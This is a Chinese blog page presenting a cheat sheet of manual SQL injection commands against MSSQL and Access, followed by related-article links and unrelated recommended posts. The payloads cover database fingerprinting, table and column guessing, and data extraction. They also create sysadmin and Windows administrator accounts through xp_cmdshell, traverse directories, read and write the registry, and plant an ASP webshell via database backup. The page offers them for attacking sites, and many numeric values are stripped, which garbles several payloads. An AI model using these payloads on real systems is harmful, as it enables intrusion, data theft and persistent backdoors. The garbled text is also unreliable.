手动方式SQL注入脚本命令之精华版
.判断是否有注入;and = ;and =
.初步判断是否是mssql ;and user> .注入参数是字符and [查询条件] and = .搜索时没过滤参数的and [查询条件] and %= .判断数据库系统 ;and (select count(*) from sysobjects)> mssql ;and (select count(*) from msysobjects)> access .猜数据库 ;and (select Count(*) from [数据库名])> .猜字段 ;and (select Count(字段名) from 数据库名)> .猜字段中记录长度 ;and (select top len(字段名) from 数据库名)> .()猜字段的ascii值(access) ;and (select top asc(mid(字段名,,)) from 数据库名)> ()猜字段的ascii值(mssql) ;and (select top unicode(substring(字段名,,)) from 数据库名)> .测试权限结构(mssql) ;and =(select IS_SRVROLEMEMBER(sysadmin));-- ;and =(select IS_SRVROLEMEMBER(serveradmin));-- ;and =(select IS_SRVROLEMEMBER(setupadmin));-- ;and =(select IS_SRVROLEMEMBER(securityadmin));-- ;and =(select IS_SRVROLEMEMBER(diskadmin));-- ;and =(select IS_SRVROLEMEMBER(bulkadmin));-- ;and =(select IS_MEMBER(db_owner));-- .添加mssql和系统的帐户 ;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;-- ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ;exec master.dbo.xp_cmdshell net user username password /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add;-- ;exec master.dbo.xp_cmdshell net user username password /add;-- ;exec master.dbo.xp_cmdshell net localgroup administrators username /add;-- .()遍历目录 ;create table dirs(paths varchar(), id int) ;insert dirs exec master.dbo.xp_dirtree c: ;and (select top paths from dirs)> ;and (select top paths from dirs where paths not in(上步得到的paths))>) ()遍历目录 ;create table temp(id nvarchar(),num1 nvarchar(),num2 nvarchar(),num3 nvarchar());--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 获得子目录列表 ;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- 获得所有子目录的目录树构 ;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-- 查看文件的内容 .mssql中的存储过程 xp_regenumvalues 注册表根键, 子键 ;exec xp_regenumvalues HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersionRun 以多个记录集方式返回所有键值 xp_regread 根键,子键,键值名 ;exec xp_regread HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersion,CommonFilesDir 返回制定键的值 xp_regwrite 根键,子键, 值名, 值类型, 值 值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ;exec xp_regwrite HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersion,TestValueName,reg_sz,hello 写入注册表 xp_regdeletevalue 根键,子键,值名 exec xp_regdeletevalue HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersion,TestValueName 删除某个值 xp_regdeletekey HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersionTestkey 删除键,包括该键下所有值 .mssql的backup创建webshell use model create table cmd(str image); insert into cmd(str) values (); backup database model to disk=c:l.asp; .mssql内置函数 ;and (select @@version)> 获得Windows的版本号 ;and user_name()=dbo 判断当前系统的连接用户是不是sa ;and (select user_name())> 爆当前系统的连接用户 ;and (select db_name())> 得到当前连接的数据库 .简洁的webshell use model create table cmd(str image); insert into cmd(str) values (); backup database model to disk=g:wwwtestl.asp;
手动方式SQL注入脚本命令之精华版的更多相关文章
- SQL注入常用命令
1. 数据库查询版本 Mssql select @@version Mysql select vresion()/select @@version oracle select banner from ...
- phpcms v9 sql注入脚本
phpcms v9 SQL注入脚本 用法:python phpcms.py http://www.baidu.com import requests,sys,urllib url = sys.argv ...
- python 打造一个sql注入脚本 (一)
0x00前言: 昨天刚刚看完小迪老师的sql注入篇的第一章 所以有了新的笔记. 0x01笔记: sql注入原理: 网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作. sql ...
- 安全测试5_服务端的安全漏洞(SQL注入、命令注入、文件操作类)
前面大致讲解了下客户端的安全漏洞,现在来讲解下服务端的安全漏洞. 1.SQL注入(SQL Injection),是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库 ...
- 常规SQL注入脚本
一:union报错注入 猜字段长度:order by 28 先显示位http://127.0.0.1/sql.php?cmd=-1 UNION SELECT 1,2,3,4,5,6,7,8,9 当前数 ...
- SQL注入脚本(基于时间)
#encoding=utf-8 import httplib import time import string import sys import urllib header = {'Accept' ...
- 禁用substr、substring、mid函数的sql注入脚本
#encodeing=utf-8 import requests import sys reload(sys) sys.setdefaultencoding('utf-8') payloads = l ...
- SQL注入技术专题—由浅入深【精华聚合】
作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23569276来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 不管用什么语言编写的Web应用 ...
- SQL注入学习资料总结
转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html 什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Lang ...
随机推荐
- VMWare虚拟机“锁定文件失败“怎么办?
虚拟机突然蓝屏了,然后就启动不了了,提示"锁定文件失败,打不开磁盘或快照所依赖的磁盘"的解决方法: 如果使用VMWare虚拟机的时候突然系统崩溃蓝屏,有一定几率会导致无法启动,会提 ...
- Sql_Handle and Plan_Handle Explained
For batches, the SQL handles are hash values based on the SQL text. For database objects such as sto ...
- chrome插件的popup与跨域请求
chrome插件的popup与跨域请求 tkorays <tkorays@hotmail.com> popup及其它js脚本 在chrome插件开发中,大致有几种类型的js ...
- 赵雅智:service_bindService生命周期
watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvemhhb3lhemhpMjEyOQ==/font/5a6L5L2T/fontsize/400/fill/I0 ...
- eclipse no java machine vitual was found
eclipse no java machine vitual was found CreateTime--2018年4月27日10:41:20 Author:Marydon 1.错误提示 2.问题 ...
- UrlConnection的代理和返回状态码的问题
今天写了一段代码想在service里访问一个外部网站,在service的方法里写了如下代码 System.setProperty("http.proxyType", "4 ...
- m2a-vm超频的方法
m2a-vm超频的方法 此帖对"华硕超频俱乐部"的评论 要超频的话,bios要进行相应的设置, 1.jumperfree选项下 cpu multiplier 改cpu的倍频 ...
- Nginx中的安全配置
1.测试环境 操作系统:CentOS6.5 Web服务器:Nginx1.4.6 Php版本:Php5.4.26 2.Nginx介绍 1.nginx本身不能处理PHP,它只是个web服务器,当接收到请求 ...
- 基于Arch的live系统
今天在linuxsir的archlinux分区闲逛,看到了carbonjiao的帖子 http://bbs.linuxeye.cn/thread-652-1-1.html 同时还关注他的帖子:1.Ar ...
- 【转载】CodeLite汉化
这几天在Ubuntu下做程序想找一个代码提示功能比较好的IDE但又不想用NETBEANS和ECLIPSE,找到CodeLite但是它是全英文的,比较晕.找了一下,下载了一个windows版的准备回去研 ...